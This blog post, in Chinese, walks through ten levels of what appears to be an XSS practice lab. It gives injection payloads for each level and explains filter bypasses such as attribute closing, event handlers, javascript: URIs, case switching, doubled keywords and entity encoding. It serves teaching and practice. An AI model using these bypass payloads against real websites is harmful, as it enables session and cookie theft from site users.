0
点赞
收藏
分享

微信扫一扫

XSS打靶日志

booksmg2014 2022-03-12 阅读 100
安全xss

XSS攻击原理

XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

XSS的类型

1.反射型的XSS(非持久型XSS)

1.存储型的XSS(持久型XSS)

3.DOM型的XSS

xss攻击常用方法

1.大小写绕过

2.利用过滤后返回语句再次构成攻击语句来绕过

3.编写脚本代码绕过关键字过滤

4.主动闭合标签实现注入代码

5.组合各种方式

首先,让我们点击图片

开始第一关吧

我们可以看到当前页面没有用户输入点

查看代码(友情提示:F12/鼠标右键)

 发现可以在地址栏中更改用户的名字

输入<script>alert(/xss/)</script>

直接执行脚本,没有对输入有任何的过滤

并不是只有script可以插入代码

我们还可以使用<img>标签

<img src=”w” οnerrοr=”alert(/xss/)”>

 

图片错误会执行后面的onerror语句

同理

也可使用<a>标签、<iframe>标签

使用onmouseout移开鼠标、onclick点击等等进行alert(/xss/)语句

点击确定进入第二关

 发现多了一个文本框和按钮

查看代码

尝试修改文本框内容,发现

 

三处同时变化

利用input标签的value值

采用<script>标签,绕过

注意:需要构造闭合

"><script>alert(/xss/)</script><input name="

或者使用onmouseout 鼠标移动进行某操作

2" οnmοuseοut="alert(/xss/)

 onclick亦可

" οnclick="alert(/xss/)

我们来到第三关

第三关和第二关一样有一个文本框和一个按钮

查看代码

 按照第二关的第一种方法尝试,发现无法解析<>和””

 那就要换种绕过方法

构造事件onclick触发,并且把" "改为' '

发现是可执行的

 既然onclick可以那onmouseout一定也可以,试一下

' οnmοuseοut='alert(/xss/)

来到第四关

按例查看代码,使用

尝试"> <script>alert(/xss/)</script><input="       

<>仍被实体化

onclick可以

" οnclick="alert(/xss/)

 onmouseout

" οnmοuseοut="alert(/xss/)

来到第五关啦

首先,我们还是尝试使用<script></script>

出错了

 查看源代码

 scr和ipt中间有了个下划线,对script进行了过滤

 采用上一关的方法" οnclick="alert(/xss/) 发现 on也被过滤了

 使用一种新方法

<a>标签:超链接

"><a href="javascript:alert(/xss/)">5<"

 

点击超链接

 

还有一种方法:

使用<iframe>标签

"><iframe src=”javascript:alert(/xss/)"><"

发现弹窗了

 但是呢,出现了一个小问题你点确定却没有跳转。不要困惑你过关了,但是此方法暂时不能直接过去~

还是使用上一个方法吧。

来到第六关啦

使用上一关的方法调用<a>

 没有出现超链接

我们查看源代码一下

hr和ef中间出现下划线,尝试切换大小写绕过

"><a Href="javascript:alert(/xss/)">6<"

出现超链接了

代码正确 

 

点击超链接,进入下一关吧

 

进入第七关啦

 进行<script></script>尝试,被过滤掉了

onclick尝试,on无法显示

 怎么办呢?

尝试一下复写

" oonnclick="alert(/xss/)

成功了

 又学会了一种方法呢。

 

进入第八关吧

 发现比之前的关卡多了一个链接

查看代码看看吧

试试<script></script>标签吧,一如既往的不行呢。

 输入javascript:alert(/xss/)发现

 

r和i之间有了个空格,但其实那是个制表符

有两个方法

方法1:在url里面javascript字母中加入url编码的制表符:%09

 方法2:将javascript其中一个字母实体化编码

分享一个链接:在线编码转换

可以进行转换,例如

 javasc&#114;ipt:alert(/xss/)

 进入第九关了

 查看一下代码

 尝试上一关的方法

avascript:alert(/xss/)

 发现没有问题,是为什么不能跳转呢?

哦,原来人家给提示了“您的链接不合法”

那我们就想个办法使其合法吧

查看地址栏发现

 需要前缀

那就加个前缀试试吧

 

 那就使用之前的代码并把http://注释掉试试吧

javasc&#114;ipt:alert(/xss/)//http://

嗯,成功了!!!

点击链接

 

到第十关了哦

 

 页面没有找到用户输入口

查看页面输出口发现

 可能于此有关

尝试修改

哦哦,没有变化

查看代码

 

 发现隐藏类型的input标签

在地址栏输入

 再次查看代码

我们发现t_sort可以改value的值

可以借用,在url中输入t_sort=" type="text" οnmοuseοut="alert(/xss/)

 出现一个文本框

移动鼠标

第十关挑战成功了!!! 

 

举报

相关推荐

打靶——01(中等)

打靶记录17——pyexpvm

XSS (XSS)分类

红队打靶练习:DEVGURU: 1

xss

XSS靶场————XSS.pwnfunction

0 条评论